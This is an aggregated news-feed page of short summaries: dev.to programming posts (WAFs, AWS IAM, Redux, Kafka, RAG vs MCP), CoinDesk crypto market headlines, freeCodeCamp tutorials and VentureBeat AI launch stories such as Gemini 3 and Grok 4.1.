    You browse a product online in the morning, receive a personalized offer by noon, and walk into a nearby store in the evening where the associate already knows exactly what you were looking for. That’s not coincidence — it’s the result of an omnichannel CRM seamlessly connecting every touchpoint across your digital and physical journey. In 2025, customer expectations have evolved. People don’t just want convenience — they want continuity. Whether they’re shopping, banking, or booking a doctor’s appointment, they expect every interaction to feel connected, intelligent, and personal. Modern CRM systems have evolved to make this possible. What once served as a static database for storing customer information has now become an adaptive ecosystem that unifies data, predicts behavior, and del…  ( 11 min )
    6 tendances techniques qui façonnent l’avenir d’Ethereum et du Web3
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    SafeLine: The Open-Source WAF That Actually Protects Your Web Apps
    If you’ve ever hosted a web app, a personal homelab service, or even a simple dashboard exposed to the internet, you’ve probably felt that lingering anxiety: “Is someone trying to break into this right now?” And honestly… they probably are. From SQL injection and XSS to brute-force login attempts and automated bots scanning for weak points, the modern web is full of constant, noisy, and increasingly sophisticated attacks. A single exposed service — whether it's your NAS, media server, or production API — can quickly become an attacker’s entry point. This is where a reliable Web Application Firewall (WAF) becomes essential. Today, let’s take a closer look at SafeLine, a powerful and production-ready open-source WAF that’s easy to deploy, actively maintained, and built to help you secure any…  ( 8 min )
    Remember to Make Use Of Lazy Evaluation
    Sometimes, being lazy is good. But that's no excuse for being lazy in work! It is only a valid excuse in programming if you apply at the right time and right place. The original article is here. Let's take this simple null-coalescing example: var object = object == null ? getDefaultObject() : object; A simple but elegant solution when you want to assign a default value to a variable if the object is null. Classic Java 101! Then, you get fancy and create a helper method to adhere to the DRY principle: // Sweet, sweet juicy usage of generics T getOrDefault(T object, T defaultValue) { return object == null ? defaultValue : object; } Also, FYI: DRY principle stands for Don't Repeat Yourself (ironically, I just repeated that) And then, riding high on your DRY-fueled mo…  ( 8 min )
    # 🛡️ Introduction to Security in the Cloud: Why It Matters & How AWS IAM Protects Your World
    Cloud computing has revolutionized how companies build and deploy software applications. Instead of investing in physical servers and networking equipment, organizations can now set up global IT environments within minutes and scale on demand. But this convenience comes with new security risks. As more critical data and applications move to the cloud, attackers follow. Securing your cloud environment isn’t optional anymore; it’s fundamental to building trust, ensuring resilience, and avoiding costly breaches. This guide walks through why cloud security matters now more than ever, how it differs from traditional on-premises security, and how AWS Identity and Access Management (IAM) plays a central role in protecting your cloud assets. You’ll find clear analogies, practical examples, and vis…  ( 12 min )
    Empresas também evoluem
    A gente fala muito sobre a evolução das pessoas… mas empresas também evoluem. E eu vivi isso em duas experiências marcantes na minha carreira, de perspectivas diferentes: Na primeira, depois que entrei na empresa, comecei a ouvir críticas e comentários negativos de ex-funcionários e colegas, principalmente sobre como os gestores lidavam com os problemas do dia a dia e com o pessoal — histórias antigas ruins, que geravam uma percepção de ambiente difícil. Confesso que fiquei com um pé atrás, e minhas expectativas ficaram baixas, mas ao longo dos meses percebi que as coisas já estavam bem melhores e continuaram evoluindo. Na segunda experiência, eu tinha uma ideia negativa formada sobre a empresa, tanto que dizia a colegas que nunca trabalharia lá. Mas algumas propostas chegaram, amigos me convidaram e, após reflexão e um período de oração, aceitei. Foi a melhor experiência da minha carreira até então. plano de carreira real, alcancei a posição que almejava quase dentro do prazo esperado e tive um desenvolvimento profissional muito positivo. Essas experiências me fizeram refletir: às vezes carregamos a imagem de uma empresa baseada em versões antigas — e esquecemos que organizações também passam por fases, ciclos, aprendizados, erros e recomeços. Assim como nós. Empresas sérias realmente buscam evoluir, revisando práticas do dia a dia, a forma de lidar com pessoas, projetos e cultura. Quem entra depois pode perceber essa evolução de forma direta. Assim como damos segunda chance a profissionais em recomeços, vale lembrar que empresas também podem mudar e merecem ser vistas com novos olhos. No fim, evolução não é um evento, é um processo. E isso vale para todos, pessoas e empresas.  ( 7 min )
    Packing Power: AI Cracks the Sphere Optimization Code
    Packing Power: AI Cracks the Sphere Optimization Code Imagine squeezing the maximum number of oranges into a crate. Seems simple, right? Now, scale that up to higher dimensions, where intuition fails. Finding the most efficient way to arrange spheres in multi-dimensional space – the "kissing number problem" – has baffled mathematicians for centuries. The breakthrough lies in reframing the problem as a game. Think of it as two AI agents battling it out. One agent strategically places spheres, while the other fine-tunes their positions to maximize the number that can touch a central sphere without overlapping. This collaborative "sphere-juggling" approach leverages reinforcement learning to explore incredibly complex configurations. The result? An AI system that not only rediscovers known …  ( 7 min )
    The Year We Crossed the Threshold: A Journey Through 2025's Most Transformative Technology
    There are years that whisper change, and years that thunder it. 2025 was the latter—a year when the future stopped feeling like a distant promise and started feeling like the ground beneath our feet. As I write this in late 2025, I'm struck by how dramatically the landscape has shifted, not through a single revolutionary moment, but through a constellation of launches, breakthroughs, and quiet innovations that have fundamentally altered how we build, create, and think about technology. This isn't just another year-in-review. This is a map of the threshold we've crossed, drawn from the launches that mattered, the tools that changed everything, and the moments when we collectively realized: the future is no longer coming. It's here. When Anthropic launched Claude 4 in early 2025, followed by…  ( 17 min )
    Você está pronto para uma demissão hoje?
    Considerando as mudanças de mercado que vêm acontecendo nos últimos anos, todos nós estamos sujeitos a passar por isso. Nem todo profissional desligado em uma demissão em massa é alguém que não entrega resultados. Muitas vezes a empresa precisa fazer um corte cirúrgico de gastos. Há casos em que você está entre os que mais ganham e acaba virando um candidato natural ao corte. Mas isso não é um demérito: é uma conquista do seu trabalho. O mercado continua cheio de oportunidades onde você pode ganhar o mesmo ou mais. Falando do lado emocional, é importante entender que não é pessoal. A relação de trabalho é um contrato que pode ser encerrado a qualquer momento. Claro que existem situações específicas que podem contribuir para o desligamento: conflito interno com outro profissional relevante, redução de time, mudança de foco ou projetos, encerramento de iniciativas. Normalmente, times de pesquisa, inovação, arquitetura e projetos secundários são os primeiros impactados. A ideia desse artigo é deixar um alerta para que você esteja preparado. Mas a pergunta é: como? Como se preparar Aqui estão os pilares que realmente fazem diferença quando o inesperado acontece: 1. Construa uma boa rede de contatos 2. Mantenha um perfil profissional relevante 3. Tenha visibilidade no mercado 4. Invista em idiomas 5. Converse sobre o mercado 6. Atualize-se constantemente 7. Mantenha seus perfis e portfólio vivos 8. Explore coisas novas dentro da sua área 9. Entenda seu valor no mercado 10. Tenha uma reserva de emergência Conclusão O objetivo não é viver com medo, mas viver consciente. Ser bom no que você faz importa. Estar preparado para o inesperado importa ainda mais.  ( 7 min )
    Add Pages to PDFs with Python: A Comprehensive Guide
    In modern office workflows and data processing, PDF files stand out for their unrivaled format stability, making them a staple across industries. For Python developers, adding pages to PDFs is a recurring need—whether for automating document assembly, appending content to generated reports, or integrating custom text/image layouts into existing files. Mastering this skill streamlines workflows, eliminates the hassle of manual editing, and boosts productivity in document-centric tasks. Spire.PDF for Python emerges as a powerful, user-friendly solution for such requirements. As a full-featured PDF processing library, it offers intuitive APIs tailored to diverse page-adding scenarios. This guide breaks down its core functionalities, paired with production-ready code examples to help you imple…  ( 8 min )
    🛒 Understand Redux State Management: The Department Store analogy
    Managing state in a complex web application can feel like trying to run a sprawling, disorganized warehouse. Data is everywhere, and you never know who changed what or when. This is where Redux steps in, acting as a meticulous system for organizing and controlling every piece of information in your app. Here’s a simple, real-world analogy that breaks down the main players in the Redux architecture—the Store, the Component, the Action, the Reducer, and the crucial Middleware. Imagine an e-commerce application where a customer buys a single product, like a television. The Store is the entire Department Store's Inventory Database. It is the single, undisputed source of truth. It holds every piece of data—the stock counts for TVs, the customer lists, the pricing, and the current state of every…  ( 8 min )
    Finding Min and Max Without Built-in Functions: A Python Tutorial
    When learning to code, it's tempting to reach for built-in functions like min() and max() whenever you need to find the smallest or largest values in a list. But understanding how to implement these operations from scratch is crucial for developing your problem-solving skills and deepening your understanding of fundamental algorithms. Let's tackle a common programming challenge: write a function that finds both the smallest and largest numbers in a list and returns them as a tuple, without using Python's built-in min() or max() functions. Here's an elegant solution that accomplishes this in a single pass through the list: def find_min_max(lst): """ Find the minimum and maximum values in a list. Returns a tuple containing (minimum, maximum). """ if len(lst) == 0: …  ( 8 min )
    Os 20 Melhores Notebooks para Programadores em 2026
    💻 Mas também servem para IA, games, estudo, criação de conteúdo e entre outras tarefas do cotidiano. Com a chegada de processadores mais eficientes, telas melhores e maior integração com IA, 2026 promete ser um ano de notebooks mais potentes e acessíveis. A lista abaixo reúne 20 modelos escolhidos por variedade de uso: estudo, trabalho, programação, criação de conteúdo, games, mobilidade e custo-benefício. 01. Apple notebook MacBook Pro (de 16 polegadas, Processador M1 Pro da Apple com CPU 10‑core e GPU 16‑core, 16 GB RAM, 512 GB SSD) O mais forte da lista. Tela grande de 16″, chip Apple Silicon com GPU poderosa, ideal para edição de vídeo, modelagem, programação pesada e workflows profissionais que exigem estabilidade e desempenho contínuo. Clique aqui para adquirir esse Notebook 02.…  ( 9 min )
    Unlocking the Power of CSS Variables (Custom Properties)
    When CSS first emerged, one of its biggest limitations was the lack of variables. Developers had to repeat colors, spacing values, and font sizes across multiple selectors. Updating a brand color or tweaking layout spacing meant tedious, error-prone find-and-replace across stylesheets. Enter CSS Variables (Custom Properties) — a modern CSS feature that made styles far more maintainable and dynamic. CSS Variables, officially called Custom Properties, are user-defined values that can be reused throughout your stylesheet. They follow a special syntax: css :root { --primary-color: #4a90e2; --spacing-md: 1.5rem; } --primary-color and --spacing-md are custom property names. Variables always begin with --. To use them, apply the var() function: css button { background-color: var(--prim…  ( 7 min )
    Context API vs. Zustand: Why Your E-Commerce App Needs a Bear (Not a Provider)
    For a React Native e-commerce application handling real-time Stock and Purchases, managing the global state efficiently is non-negotiable. Two popular choices emerge for modern React developers: the built-in Context API and the minimalist library, Zustand. While the Context API is simple and dependency-free, it often leads to critical performance bottlenecks when dealing with frequent, complex, and interconnected state—exactly the kind of state found in a busy online store. Here’s a breakdown of the two approaches and a clear argument for why Zustand is the superior choice for your stock and purchase management. The Context API is React's native solution for avoiding "prop drilling"—passing props down through many layers of components. To manage your e-commerce state, you'd logically separ…  ( 8 min )
    RAG vs MCP: Understanding AI Context Solutions
    Introduction If you've been building AI applications with LLMs lately, you've probably hit the same wall I did: these models are incredibly smart, but if we ask about current events, they don't know because they've been frozen in time. They only understand information from the data they were trained on. They don't know about your documents, your database, your company files, or what's actually happening in your business right now. Two different approaches have emerged to solve this problem: RAG and MCP. And honestly, the way people talk about them can be confusing as hell. Let me break it down in a way that actually makes sense. Think about how you get information in everyday life: RAG is like asking someone to look it up in their personal library You ask: "Hey, what did our company pol…  ( 11 min )
    Kicking Off 2026: Expert Analysis from the World Cup Frontline
    The Road to Glory: Assessing Individual Performances and Their Impact on World Cup 2026 As we continue to navigate the countdown to the highly anticipated World Cup 2026, it's becoming increasingly evident that several top-tier players are already gearing up for their next major international tournament. A recent article by The Athletic and The New York Times highlights this growing trend, emphasizing how these exceptional athletes are positioning themselves for success in the upcoming competition. Star Players Stepping Up One of the most significant factors contributing to a team's overall performance is the presence of skilled and experienced players who consistently deliver top-notch results. The likes of Kylian Mbappé (France), Lionel Messi (Argentina), and Robert Lewandowski (Pola…  ( 8 min )
    Transforming ripgrep's Documentation with AI Automation and MkDocs
    Originally published on Entropic Drift ripgrep is one of the most popular command-line search tools, with over 57,000 stars on GitHub. Despite its popularity and rich feature set, the documentation consisted of just two files: a feature-focused README and a tutorial-style GUIDE. While these files were well-written, they left gaps: No structured learning path from basics to advanced features Limited visual aids to explain complex concepts Features scattered across different sections No dedicated troubleshooting or reference sections Using an evolved version of my documentation automation workflow (originally built for Prodigy's documentation), I generated 50+ pages of enhanced documentation, now live at https://iepathos.github.io/ripgrep. This post documents how the workflow evolved to hand…  ( 12 min )
    The Best AI Articles Dev.to Won’t Show You
    Dev.to's feed is broken. It never shows me posts I actually want to read. The search engine doesn’t help either. I had a feeling there’s still good, advanced level content being published, buried under the clickbait and slop. So I made my own tool to find these hidden gems. I use it daily to find recently published (last 24 hours), original, and insightful posts about AI and success. I usually end up with a couple of solid reads every day. I’ll share the ones I like best here and update this page as I discover new ones. Bookmark this page if you want to stay up to speed. Disclaimer: I don’t endorse these posts. The opinions expressed belong to their authors. I just find them thought-provoking and worth reading. Enjoy. The Shift Towards Agentic AI: What It Means for Developers by @lofcz While the title comes off a bit generic, the article itself has genuinely sharp insights and correctly calls out common pitfalls (and solutions) when implementing agents. Context Engineering: The Critical Infrastructure Challenge in Production LLM Systems by @siddhantkcode This one goes deep on advanced ways to keep context lean and mean. It doesn’t give every detail, but it does link full access to the code, which is even better 😄 The Vibe Coding Trap: Why Conversational AI Makes Developers Slower by @mechero22 This one’s a bit spicy, and I’m not fully onboard with all the claims it makes. But even if it rubs you the wrong way, it will definitely give you something to chew on.  ( 6 min )
    Stateful Serverless - Cloud Functions without Amnesia
    In our previous post, we explored how Horda entities work like Flutter's stateful widgets, but on the backend. We also mentioned that Horda is a stateful serverless platform. But what does that mean exactly? If you are a Flutter developer, whenever someone mentions the word "serverless", there's a high chance that Firebase Cloud Functions would come to mind. Except unlike Horda, they are stateless. So in this post let's explore what's the difference between stateful and stateless serverless, and how stateful serverless replaces traditional databases with a much faster, simpler, and more cost-efficient approach. When we say Firebase Cloud Functions are stateless, we mean they have complete amnesia. Every time a function is invoked, it starts from scratch with no memory of previous calls. It…  ( 10 min )
    Monetzly: A Game-Changer for AI Monetization in LLM Apps
    Why 90% of AI Apps Fail to Monetize Effectively — And How Monetzly Can Change That As AI applications continue to flood the market, it’s alarming to see that 90% of them fail to monetize effectively. What’s behind this staggering statistic? Most AI apps struggle to create sustainable revenue models without alienating users. Enter Monetzly—your solution for smarter monetization in AI conversations. The landscape of AI app development is rapidly evolving. Developers face immense pressure to deliver innovative solutions, yet many overlook a critical element: monetization. Traditional models, like subscriptions or paywalls, often disrupt user experience, leading to churn and low engagement. Monetzly flips this paradigm on its head with its dual-earning platform. Here’s how it works: develop…  ( 7 min )
    The C# Developer’s CURL Copy-Paste Conundrum
    Introduction: The C# Developer’s CURL Copy-Paste Conundrum Bridging Bash and .NET: Harnessing CurlDotNet for Linux-Compatible REST API Magic It’s 2 AM on deployment night, and I’m staring at a cURL example from Stripe’s docs. You know the moment — a dozen browser tabs open, half-written unit tests, and now I’m translating a curl command into C#. Again. API docs everywhere default to curl. Stripe, GitHub, Twilio, OpenAI — they all hand you a Bash-friendly snippet and expect you to mentally map: -H becomes a header object -d becomes JSON content -u becomes basic auth Oh, and don’t forget that one weird header that silently breaks everything if you miss it If you’re building C# apps on Linux, the friction gets real. We love Bash. We love .NET. But the two ecosystems don’t always sh…  ( 9 min )
    Mobile Marketing in 2025: Why Your Desktop Strategy Is Costing You Conversions
    Let me guess: you optimized your website for mobile by making sure it "looks okay" on your phone. Maybe ran it through Google's Mobile-Friendly Test, got a green checkmark, called it a day. Here's the thing—73% of web traffic now comes from mobile devices. But here's what keeps me up at night: mobile conversion rates still lag desktop by an average of 30-40%. We're not talking about a small gap anymore. We're talking about leaving massive revenue on the table because we're still treating mobile like desktop's smaller, less important sibling. I've spent the last year auditing mobile experiences for e-commerce and SaaS companies. The pattern is consistent and frustrating: beautiful desktop sites that turn into thumb-hostile nightmares the moment you pull out your phone. It's 2025, and we're …  ( 11 min )
    3d designs repo
    With my first post here on dev.to, I thought it might be nice to just present my existing github repo of 3d designs. I want to actually get off of GitHub for the most part and make my tech/makery stuff more as a social media account. This is where I am starting. Without too much more, you can find my repo for 3d designs here: https://github.com/BoyoLabs/3dDesigns These are not all of the designs I have ever made, I just don't want to share ones that are more personal. Regardless, all of my designs will always have been printed. I also do context engineering and AI stuff, so keep a look out for that!  ( 6 min )
    Step-by-Step: Implementing Custom Decorators in NestJs Using Class-Validator and Drizzle
    When building APIs, you must validate your inputs and outputs. If your API accepts any data, failure is only a matter of time. Instead of adding more ifs, use declarative validation: NestJS + class-validator + class-transformer, an async constraint that queries your DB, and a custom decorator integrated with the container. Result: errors stopped before the service layer and reusable rules across all your DTOs, with less duplicated logic. In this tutorial, I'll teach you how to build your own custom decorator to prevent these scenarios. Let's start with a base project. I have a template repository with a RESTful API using NestJS as the framework, PostgreSQL as the database, and Drizzle as the ORM—but you can create your own. This is the repo I'm using: https://github.com/RubenOAlvarado/nes…  ( 12 min )
    Why SaaS SEO Needs More Than Just Good Content in 2025
    Working with SaaS teams over the years has taught me that SEO isn’t as straightforward as many expect. The usual assumption is that publishing more blog posts will eventually lead to organic traction. I made the same mistake early in my career. I helped a SaaS tool publish around twenty articles in a single month, expecting results to follow. They didn’t. The problem wasn’t effort. It was direction. Modern SaaS SEO is different because search intent is fluid and users behave more like researchers than casual browsers. They compare, validate and dig deep before committing to a subscription. That’s why a structured approach matters, something I noticed when exploring how MADX organizes its service framework. Here’s a simple enumeration that reflects what SaaS teams often miss: SEO must conne…  ( 7 min )
    Why Silicon Valley Is Quietly Migrating to Chinese AI Models
    Airbnb's Brian Chesky dropped a bombshell in October 2025 that most tech leaders saw coming but few dared to acknowledge publicly: his company "relies heavily" on Alibaba's Qwen models to power its AI-driven customer service agent. This from the personal friend of OpenAI's Sam Altman, essentially admitting that when the rubber meets the road, cost and performance trump loyalty. Around the same time, venture capitalist Chamath Palihapitiya revealed his firm had migrated major workloads from OpenAI and Anthropic to Moonshot AI's Kimi K2 because it was "way more performant and frankly just a ton cheaper." Welcome to AI's Sputnik moment. While Washington celebrates chip export controls and trillion-dollar infrastructure plans, Chinese AI models are infiltrating Silicon Valley through the o…  ( 14 min )
    Kafka
    Apache Kafka is an open-source distributed event-streaming platform. Let’s break this into simple words: Event Streaming This refers to two activities: Producing events (sending continuous data/messages) Consuming events (reading and processing the data continuously) Example: Pays someone Books a ticket Recharges mobile An event is created. millions of events per second. All these events are streamed to Kafka in real-time. Then, another application (consumer) reads these events from Kafka. For example: Check if a user exceeded daily transaction limits Detect fraud Send notifications So, event streaming = continuous sending + continuous processing. 2. Why is Kafka called distributed? “Distributed” means Kafka runs on multiple servers across different regions. Multiple brokers (servers) …  ( 14 min )
    Máquinas EC2 na AWS: Guia Completo sobre Computação em Nuvem
    O Amazon Elastic Compute Cloud (EC2) é um dos serviços mais fundamentais e populares da Amazon Web Services (AWS). Ele oferece capacidade computacional escalável na nuvem, permitindo que empresas e desenvolvedores executem aplicações sem a necessidade de investir em infraestrutura física. Neste artigo, vamos explorar em detalhes o que são as instâncias EC2, suas características, tipos e como utilizá-las efetivamente. O Amazon EC2 é um serviço web que fornece capacidade computacional redimensionável na nuvem. Em termos simples, são servidores virtuais que você pode provisionar em minutos e pagar apenas pelo tempo de uso. O conceito de "elasticidade" no nome refere-se à capacidade de aumentar ou diminuir a capacidade computacional rapidamente conforme as necessidades da sua aplicação. As ins…  ( 10 min )
    dev diary 20251117
    AWS Amplify Gen2 deployment i tried to production deploy test code with amplify. I have already check the developing application work in sandbox. it' OK. in amplify gen2, the deploy of production is executed not by command prompt like the other process, but with aws console. after opening the aws amplify in aws console, it's easy to deploy along with the guide. the local application link to amplify through github repository. i tried production deployment like above, the deployment failed because of variant type of "moduleResolution". then my countermeasure is; { "compilerOptions": { "target": "ES2017", "lib": ["dom", "dom.iterable", "esnext"], "allowJs": true, "skipLibCheck": true, "strict": true, "noEmit": true, "esModuleInterop": true, //"module": "esnext", "module": "NodeNext", // 変更 "moduleResolution": "NodeNext", // 変更 // ---------------------------------------------------------- // 💡 修正 1: .ts拡張子のインポートを許可する設定を追加 "allowImportingTsExtensions": true, // 💡 修正 2: Next.js + Amplify Gen 2で推奨される設定に調整 "moduleResolution": "NodeNext", // ---------------------------------------------------------- "resolveJsonModule": true, "isolatedModules": true, "jsx": "react-jsx", the original setting is default of next.js project. so in future at every time i build develop folder, it's necessary. in this process, i completed the product pipeline. if i update the application, i change the local file and then; git add . staging upload git commit -m "changing description" commit to local git git push push to remote repository i can reflect the local change to product just with this !! i have already prepared the full stack app dev. i keep this dev folder as template for the next. and now i have to focus on generate idea of my app.  ( 6 min )
    Build Multi-Agent Systems Using the Agents as Tools Pattern
    In my last post I covered the Graph pattern and how structured, deterministic workflows can orchestrate multiple agents like a symphony orchestra following a conductor's score.👇🏼 Strands Multi-Agent Systems: Graph Laura Salinas for AWS ・ Oct 31 #aws #agents #ai #learning In this final post in this multi agent series, I'm diving into Agents as Tools. I'll share code snippets and examples that you can follow along with to build your own multi-agent system. While Graphs provide structured coordination through dependencies and Swarms enable autonomous collaboration, the Agents as Tools pattern brings hierarchical delegation to multi-agent orchestration. Instead of a single agent trying to handle everything, tasks are delegated to the most appropriate specialize…  ( 10 min )
  • Open

    Kraken Scores $800M Raise Backed by $200M Citadel Investment
    The funding, which values Kraken at $20B, accelerates plans to integrate traditional markets with crypto infrastructure across multiple regions.  ( 34 min )
    'Permissionless Assets’: Robinhood’s 3-Phase Tokenization Plan to Disrupt TradFi
    Robinhood is working on infrastructure developments, said Offchain Labs' A.J. Warner, including 24/7 trading, and leveraging technologies like Arbitrum Stylus for compatibility.  ( 34 min )
    Canada Approves Budget That Advances Policy for Stablecoins
    The Canadian government narrowly won favor in Parliament for its budget push that includes a new policy governing stablecoins.  ( 34 min )
    Chainlink's LINK Bounces 4% to Near $14 as Cryptos Rebound
    LINK could target $14.50 if momentum sustains, CoinDesk Research's analysis tool suggested.  ( 34 min )
    Bitcoin Backwardation Returns, a Pattern That Often Marks Market Bottoms
    Futures prices for BTC are trading below spot prices, signaling "extreme fear," which can sometimes be read as a contrarian buy signal.  ( 34 min )
    Sen. Warren Keeps Pressure on Trump Crypto Ties as Market Structure Bill Negotiated
    Senator Elizabeth Warren is maintaining political heat on President Trump's World Liberty Financial business interests in a letter to the Treasury and DOJ.  ( 35 min )
    Cloudflare Outage Sends Shockwaves Through Crypto, Renewing Push for DePIN
    Some in the crypto world have called for DePIN to be more widely adopted to combat internet outage issues.  ( 34 min )
    Bitcoin Gains Tuesday as Traditional Markets Slump in Rare Occurrence of Crypto Outperformance
    After plunging below $90,000 overnight, BTC has regained the $93,000 level in U.S. morning action.  ( 32 min )
    U.S. Regulator OCC Clarifies How Banks Can Handle Network 'Gas Fees'
    The U.S. Office of the Comptroller of the Currency explained to the national banks it oversees how they can hold crypto for paying gas fees.  ( 34 min )
    Société Générale’s SG-FORGE Issues First Tokenized Bond in U.S.
    The bond uses Broadridge Financial Solutions' tokenization technology and runs on the Canton Network, a privacy-enabled blockchain infrastructure.  ( 33 min )
    Bitcoin Sell-Off Likely 'Complete', Rally Into Year-End Still in Play: StanChart Analyst
    Standard Chartered’s Geoffrey Kendrick says bitcoin’s steep decline is part of a recurring pattern, with a rebound into year-end in his base case.  ( 34 min )
    XLM Slips 3.2% to $0.25 as Altcoin Purge Continues
    Stellar drops from $0.2577 amid broad consolidation, but technical bounce from $0.248 signals buying interest remains intact.  ( 34 min )
    Revolut Enlists Polygon for Stablecoin Remittances in UK and EEA
    Revolut customers in the UK and non-European Union EEA countries can do crypto remittances in USDC, USDT, and POL.  ( 33 min )
    Obex Raises $37M to Build 'Y Combinator' for RWA-Backed Stablecoins, Led by Framework, Sky
    The incubator aims to fund stablecoin projects backed by compute, energy and fintech credit using Sky's up to $2.5 billion commitment, Framework Ventures' Vance Spencer said in an interview.  ( 34 min )
    HBAR Drops 6% to $0.144 as Technical Breakdown Accelerates
    Hedera's native token cracked key support levels on surging volume, forming double-bottom pattern before late-session stabilization attempts.  ( 34 min )
    CoinDesk 20 Performance Update: Solana (SOL) Rises 5.8%, Leading Index Higher
    Aptos (APT) was also a top performer, gaining 5.3% from Monday.  ( 30 min )
    Bitcoin Hashprice Falls to Five-Year Low
    Falling revenue and record difficulty could tighten the squeeze on bitcoin miners, though many are more driven by their AI infrastructure initiatives.  ( 34 min )
    Fidelity Introduces FSOL ETF, Bringing Major Wall Street Name to Solana Funds
    The firm’s staking-enabled Solana fund debuts as inflows into early SOL products accelerate.  ( 33 min )
    Tether Invests in Ledn to Expand Bitcoin-Backed Lending Amid Surging Demand
    The stablecoin issuer's investment comes as BTC-backed lending scales rapidly, with Ledn surpassing $1 billion in originations this year and positioning for global expansion.  ( 33 min )
    Cloudflare Global Outage Spreads to Crypto; Multiple Front Ends Down
    A widespread Cloudflare outage disrupted major parts of the internet on Tuesday, knocking many crypto platforms offline.  ( 32 min )
    Bonds Hint at Rebound: Crypto Daybook Americas
    Your day-ahead look for Nov. 18, 2025  ( 40 min )
    Crypto Markets Today: Fear Grips Market as BTC Tests Support, Volatility Spikes
    Bitcoin hovered near $91,000 as sentiment hit "extreme fear," volatility jumped and leveraged traders absorbed over $1 billion in liquidations while altcoins fell further.  ( 36 min )
    Bitcoin Correction Mirrors April Drop as 2025 Buyers Fall Into the Red
    Market drawdown pushes bitcoin below 2025 key cost basis levels.  ( 33 min )
    Deutsche Börse to Add SocGen’s MiCA Stablecoins to Core Market Systems
    Move brings regulated euro and dollar stablecoins into Deutsche Börse’s settlement and collateral tools.  ( 34 min )
    Record $1.26B Outflow Hits BlackRock Bitcoin ETF as Bearish Options Cost Soars
    The price of IBIT has dropped 16% to $52, a level last seen in April.  ( 33 min )
    Mastercard Picks Polygon to Bring Verified Usernames to Self-Custody Wallets
    Move introduces verified aliases for crypto transfers and adds an ID layer to self-custody tools.  ( 34 min )
    Bitcoin Dominance is Bleeding With Price, But Market Observers Say Altcoin Season is on Hold
    Bitcoin’s drawdown, alongside cross-pair stability and steady on-chain activity, points to a market clearing excess leverage rather than shifting into a high-beta altcoin run.  ( 34 min )
    El Salvador Buys 1,090 BTC as Prices Drop and IMF Pressure Mounts
    The country has added nearly 100 million dollars to the national bitcoin treasury as BTC trades below $90k.  ( 32 min )
    Dogecoin Eyes Rebound After Multi-Year Trendline Break Tests $0.15 Floor
    The memecoin's technical structure is weakened, with key support at $0.1520 needing to hold to prevent further declines.  ( 35 min )
    XRP Pulls Back From $2.27 Peak Yet Maintains Uptrend Structure Above $2.15
    Traders should watch the $2.15 pivot, as holding this level could lead to a bounce, while a break below may trigger further declines.  ( 35 min )
    Mt. Gox Moves $956M Worth of BTC As Prices Tank
    The latest on-chain move comes as BTC's spot price continues to slide.  ( 32 min )
    What Next For Bitcoin as BTC RSI Flashes Oversold Signal?
    BTC looks oversold, according to the 14-day RSI indicator.  ( 33 min )
    Bitcoin Crashes Under $90K as Death Cross Creates 'Extreme Fear' Sentiment
    The drop to $89,420 — its lowest level since February — comes just six weeks after prices topped out at a record $126,250, marking a sharp reversal.  ( 34 min )
    FDT Welcomes Dubai’s $456M Freeze as Techteryx Seeks to Recover TrueUSD Reserves from Aria
    In a statement to CoinDesk, FDT's Vincent Chok said his company "welcomes any steps that assist Techteryx in pursuing recovery of its funds from the Aria entities."  ( 33 min )
    Asia Morning Briefing: Even Prediction Markets Didn’t See Bitcoin’s Selloff Coming
    A fast reset in downside odds mirrors QCP’s warning of flat-footed pro desks, with Glassnode highlighting oversold momentum and moderating ETF outflows.  ( 34 min )
  • Open

    How to Use to Docker with Node.js: A Handbook for Developers
    In this handbook, you’ll learn what Docker is, why it’s become an essential, must-have skill for backend and full-stack developers in 2025, and most importantly, how to use it in real-world projects from start to finish. We will go far beyond the usu...  ( 40 min )
    How to Compress Your Prompts and Reduce LLM Costs
    Every developer working with large language models eventually faces the same challenge: prompts keep getting longer, models keep getting slower, and API bills keep getting higher. Whether you’re building a retrieval-augmented generation (RAG) system ...  ( 7 min )
    Level Up Your JavaScript – Detect Smells & Write Clean Code
    We just posted course on freeCodeCamp.org YouTube channel that will teach you how to transform messy, hard-to-maintain JavaScript code into clean, readable, and professional-quality code that scales. This course was developed by Tapas Adhikary. He'll...  ( 3 min )
  • Open

    Musk's xAI launches Grok 4.1 with lower hallucination rate on the web and apps — no API access (for now)
    In what appeared to be a bid to soak up some of Google's limelight prior to the launch of its new Gemini 3 flagship AI model — now recorded as the most powerful LLM in the world by multiple independent evaluators — Elon Musk's rival AI startup xAI last night unveiled its newest large language model, Grok 4.1. The model is now live for consumer use on Grok.com, social network X (formerly Twitter), and the company’s iOS and Android mobile apps, and it arrives with major architectural and usability enhancements, among them: faster reasoning, improved emotional intelligence, and significantly reduced hallucination rates. xAI also commendably published a white paper on its evaluations and including a small bit on training process here. Across public benchmarks, Grok 4.1 has vaulted to the top…
    Google unveils Gemini 3 claiming the lead in math, science, multimodal and agentic AI benchmarks
    After more than a month of rumors and feverish speculation — including Polymarket wagering on the release date — Google today unveiled Gemini 3, its newest proprietary frontier model family and the company’s most comprehensive AI release since the Gemini line debuted in 2023. The models are proprietary (closed-source), available exclusively through Google products, developer platforms, and paid APIs, including Google AI Studio, Vertex AI, the Gemini CLI, and third-party integrations across the broader IDE ecosystem. Gemini 3 arrives as a full portfolio, including: Gemini 3 Pro: the flagship frontier model Gemini 3 Deep Think: an enhanced reasoning mode Generative interface models powering Visual Layout and Dynamic View Gemini Agent for multi-step task execution Gemini 3 engine embedd…
    Writer's AI agents can actually do your work—not just chat about it
    Writer, a San Francisco-based artificial intelligence startup, is launching a unified AI agent platform designed to let any employee automate complex business workflows without writing code — a capability the company says distinguishes it from consumer-oriented tools like Microsoft Copilot and ChatGPT. The platform, called Writer Agent, combines chat-based assistance with autonomous task execution in a single interface. Starting Tuesday, enterprise customers can use natural language to instruct the AI to create presentations, analyze financial data, generate marketing campaigns, or coordinate across multiple business systems like Salesforce, Slack, and Google Workspace—then save those workflows as reusable "Playbooks" that run automatically on schedules. The announcement comes as enterpris…
    Microsoft remakes Windows for an era of autonomous AI agents
    Microsoft is fundamentally restructuring its Windows operating system to become what executives call the first "agentic OS," embedding the infrastructure needed for autonomous AI agents to operate securely at enterprise scale — a watershed moment in the evolution of personal computing that positions the 40-year-old platform as the foundation for a new era of human-machine collaboration. The company announced Tuesday at its Ignite conference that it is introducing native agent infrastructure directly into Windows 11, allowing AI agents — autonomous software programs that can perform complex, multi-step tasks on behalf of users — to discover tools, execute workflows, and interact with applications through standardized protocols while operating in secure, policy-controlled environments separa…
    How AI tax startup Blue J torched its entire business model for ChatGPT—and became a $300 million company
